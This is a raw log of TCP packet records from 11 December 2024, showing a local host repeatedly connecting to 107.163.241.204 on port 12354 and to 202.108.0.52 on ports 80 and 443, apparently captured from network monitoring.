Dec 11, 2024 16:29:57.204077959 CET	12354	53180	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:57.204293013 CET	53180	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.204839945 CET	53180	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:57.324111938 CET	12354	53180	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:58.290225029 CET	443	52767	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.290787935 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.290983915 CET	443	52767	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.294590950 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.294590950 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.294667959 CET	443	52767	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.294828892 CET	443	52767	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.294892073 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.294892073 CET	52767	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.431076050 CET	51117	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.431610107 CET	53635	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.551197052 CET	80	51117	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.551213026 CET	80	53635	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.551271915 CET	51117	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.552058935 CET	53635	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.556060076 CET	53635	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.675718069 CET	80	53635	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:58.764259100 CET	53180	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:58.764288902 CET	53635	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.766796112 CET	53106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:58.806231022 CET	53676	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:58.926480055 CET	12354	53676	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:58.926584005 CET	53676	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:58.928023100 CET	53712	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:58.929399967 CET	53713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:58.930017948 CET	53676	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:59.047813892 CET	80	53712	202.108.0.52	192.168.2.8
Dec 11, 2024 16:29:59.047909021 CET	53712	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:59.048599005 CET	12354	53713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:59.048660040 CET	53713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:59.048966885 CET	53713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:29:59.049184084 CET	12354	53676	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:59.049376965 CET	53712	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:29:59.168396950 CET	12354	53713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:29:59.168682098 CET	80	53712	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:00.616637945 CET	80	53712	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:00.616698027 CET	53712	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:00.809042931 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:00.809092999 CET	443	55135	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:00.809145927 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:00.811089993 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:00.811104059 CET	443	55135	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:01.037152052 CET	12354	53676	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.037338972 CET	53676	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.038023949 CET	53676	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.038590908 CET	55146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.158186913 CET	12354	53676	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.158205032 CET	12354	55146	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.158334970 CET	55146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.162317038 CET	12354	53713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.166269064 CET	53713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.171813011 CET	55146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.172148943 CET	53713	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.176798105 CET	55172	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.292197943 CET	12354	55146	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.292220116 CET	12354	53713	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.297260046 CET	12354	55172	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:01.297363997 CET	55172	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.298037052 CET	55172	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:01.420186043 CET	12354	55172	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:02.715029001 CET	443	55135	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:02.715105057 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.715814114 CET	443	55135	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:02.715887070 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.719208002 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.719249964 CET	443	55135	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:02.719345093 CET	55135	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.798120022 CET	55146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:02.798401117 CET	55172	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:02.798877001 CET	57031	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:02.835144043 CET	53712	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.835475922 CET	57051	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.918289900 CET	12354	57031	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:02.918366909 CET	57031	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:02.918566942 CET	57031	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:02.928189039 CET	57052	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:02.954786062 CET	80	57051	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:02.954865932 CET	57051	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.954922915 CET	80	53712	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:02.954976082 CET	53712	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:02.957392931 CET	57051	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:03.038237095 CET	12354	57031	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:03.047544956 CET	12354	57052	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:03.047693014 CET	57052	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:03.073812008 CET	57052	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:03.077152014 CET	80	57051	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:03.193229914 CET	12354	57052	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:04.554233074 CET	80	57051	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:04.554322004 CET	57051	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:04.557188034 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:04.557245016 CET	443	58111	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:04.557477951 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:04.558193922 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:04.558212042 CET	443	58111	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:05.082341909 CET	12354	57031	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.082396030 CET	57031	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.082911015 CET	57031	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.083441973 CET	58637	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.206082106 CET	12354	57031	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.206124067 CET	12354	58637	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.206183910 CET	58637	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.206556082 CET	58637	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.208492041 CET	12354	57052	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.208554029 CET	57052	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.209180117 CET	57052	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.209496975 CET	58760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.330126047 CET	12354	58637	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.332839012 CET	12354	57052	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.333184958 CET	12354	58760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:05.333244085 CET	58760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.343619108 CET	58760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:05.469908953 CET	12354	58760	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:06.297967911 CET	443	58111	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:06.298082113 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.298757076 CET	443	58111	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:06.298810005 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.302508116 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.302571058 CET	443	58111	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:06.302627087 CET	58111	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.410561085 CET	57051	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.411118031 CET	59815	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.531630039 CET	80	59815	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:06.531646967 CET	80	57051	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:06.531704903 CET	59815	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.531769991 CET	57051	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.532192945 CET	59815	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.651606083 CET	80	59815	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:06.814021111 CET	58637	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:06.814064980 CET	58760	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:06.814064980 CET	59815	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.815402031 CET	60160	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:06.930577040 CET	60289	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:06.931029081 CET	60290	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:06.937942028 CET	12354	60160	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:06.938049078 CET	60160	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:06.938508987 CET	60160	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:07.052014112 CET	80	60289	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:07.052087069 CET	60289	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:07.052470922 CET	12354	60290	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:07.052565098 CET	60290	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:07.053427935 CET	60289	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:07.053659916 CET	60290	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:07.059674025 CET	12354	60160	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:07.173850060 CET	80	60289	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:07.174009085 CET	12354	60290	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:08.683228016 CET	80	60289	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:08.683393002 CET	60289	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:08.685861111 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:08.685934067 CET	443	61736	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:08.687186956 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:08.687740088 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:08.687781096 CET	443	61736	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:09.052397013 CET	12354	60160	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.052498102 CET	60160	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.054433107 CET	60160	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.055228949 CET	61978	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.164144993 CET	12354	60290	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.164212942 CET	60290	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.165486097 CET	60290	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.166207075 CET	61998	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.178349018 CET	12354	60160	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.184125900 CET	12354	61978	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.184189081 CET	61978	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.184771061 CET	61978	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.285537004 CET	12354	60290	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.285554886 CET	12354	61998	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.285666943 CET	61998	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.300780058 CET	61998	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:09.304270983 CET	12354	61978	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:09.421104908 CET	12354	61998	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:10.378928900 CET	443	61736	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:10.379002094 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.379725933 CET	443	61736	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:10.379786968 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.386060953 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.386132956 CET	443	61736	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:10.386220932 CET	61736	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.513273001 CET	60289	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.513648987 CET	62977	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.636101007 CET	80	62977	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:10.636116028 CET	80	60289	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:10.636183977 CET	60289	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.636219025 CET	62977	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.636398077 CET	62977	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.759385109 CET	80	62977	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:10.823400974 CET	61978	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:10.823432922 CET	62977	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:10.823456049 CET	61998	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:10.824244022 CET	63310	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:10.944233894 CET	12354	63310	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:10.944323063 CET	63310	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:10.945154905 CET	63310	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:11.064449072 CET	12354	63310	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:11.074712992 CET	63577	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:11.079685926 CET	63579	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:11.194470882 CET	80	63577	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:11.194565058 CET	63577	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:11.197966099 CET	63577	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:11.199110985 CET	12354	63579	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:11.199181080 CET	63579	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:11.200473070 CET	63579	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:11.318736076 CET	80	63577	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:11.321074009 CET	12354	63579	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:12.771450043 CET	80	63577	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:12.771502972 CET	63577	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:12.776420116 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:12.776470900 CET	443	64583	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:12.776550055 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:12.777281046 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:12.777297020 CET	443	64583	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:13.054260015 CET	12354	63310	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.054328918 CET	63310	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.054868937 CET	63310	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.055615902 CET	64710	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.175760984 CET	12354	63310	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.176450014 CET	12354	64710	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.176548958 CET	64710	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.177304029 CET	64710	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.298671961 CET	12354	64710	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.318038940 CET	12354	63579	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.318100929 CET	63579	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.318381071 CET	63579	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.318681002 CET	64986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.444773912 CET	12354	63579	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.444848061 CET	12354	64986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:13.444909096 CET	64986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.447880030 CET	64986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:13.611488104 CET	12354	64986	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:14.488579035 CET	443	64583	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:14.488682985 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.489362955 CET	443	64583	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:14.489419937 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.492394924 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.492480993 CET	443	64583	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:14.492669106 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.492671013 CET	443	64583	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:14.492743015 CET	64583	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.640444040 CET	63577	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.640867949 CET	49800	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.760571957 CET	80	49800	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:14.760682106 CET	49800	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.760849953 CET	80	63577	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:14.760910034 CET	63577	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.761049032 CET	49800	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:14.880500078 CET	80	49800	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:15.008527040 CET	64710	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.008716106 CET	64986	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.008753061 CET	49800	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:15.140364885 CET	49935	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.260108948 CET	12354	49935	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:15.262146950 CET	49935	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.397305965 CET	49935	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.496560097 CET	49937	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.497071028 CET	49938	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:15.523349047 CET	12354	49935	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:15.616022110 CET	12354	49937	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:15.616095066 CET	49937	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.616282940 CET	80	49938	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:15.616353989 CET	49938	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:15.616485119 CET	49937	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:15.617486954 CET	49938	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:15.735776901 CET	12354	49937	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:15.736761093 CET	80	49938	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:17.179893970 CET	80	49938	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:17.180006981 CET	49938	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:17.183072090 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:17.183130026 CET	443	51641	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:17.183326006 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:17.183818102 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:17.183830023 CET	443	51641	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:17.419898033 CET	12354	49935	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.420156002 CET	49935	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.420923948 CET	49935	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.421267033 CET	51960	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.542021990 CET	12354	49935	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.542038918 CET	12354	51960	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.542155981 CET	51960	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.553831100 CET	51960	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.673501968 CET	12354	51960	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.726555109 CET	12354	49937	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.726650953 CET	49937	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.727452993 CET	49937	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.728497982 CET	52177	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.846796036 CET	12354	49937	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.847759008 CET	12354	52177	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:17.847872019 CET	52177	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.848076105 CET	52177	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:17.967597008 CET	12354	52177	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:18.882188082 CET	443	51641	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:18.883043051 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:18.883058071 CET	443	51641	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:18.883114100 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:18.886540890 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:18.886599064 CET	443	51641	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:18.886708021 CET	51641	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.006953955 CET	49938	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.007292032 CET	53124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.126581907 CET	80	53124	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:19.126599073 CET	80	49938	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:19.126676083 CET	53124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.126702070 CET	49938	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.127229929 CET	53124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.246727943 CET	80	53124	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:19.408487082 CET	52177	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.408548117 CET	53124	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.408565044 CET	51960	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.409070969 CET	53501	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.529592991 CET	12354	53501	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:19.529660940 CET	53501	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.529895067 CET	53501	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.540076971 CET	53568	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.541305065 CET	53569	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.655374050 CET	12354	53501	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:19.665535927 CET	12354	53568	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:19.665617943 CET	53568	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.666646957 CET	53568	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:19.666661978 CET	80	53569	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:19.666717052 CET	53569	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.668174982 CET	53569	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:19.786320925 CET	12354	53568	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:19.791052103 CET	80	53569	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:21.231822014 CET	80	53569	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:21.231883049 CET	53569	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:21.235023975 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:21.235065937 CET	443	54686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:21.235346079 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:21.235873938 CET	54686	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:30:21.235891104 CET	443	54686	202.108.0.52	192.168.2.8
Dec 11, 2024 16:30:21.665582895 CET	12354	53501	107.163.241.204	192.168.2.8
Dec 11, 2024 16:30:21.665651083 CET	53501	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.665836096 CET	53501	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.666723967 CET	55158	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:30:21.785279036 CET	12354	53501	107.163.241.204	192.168.2.8
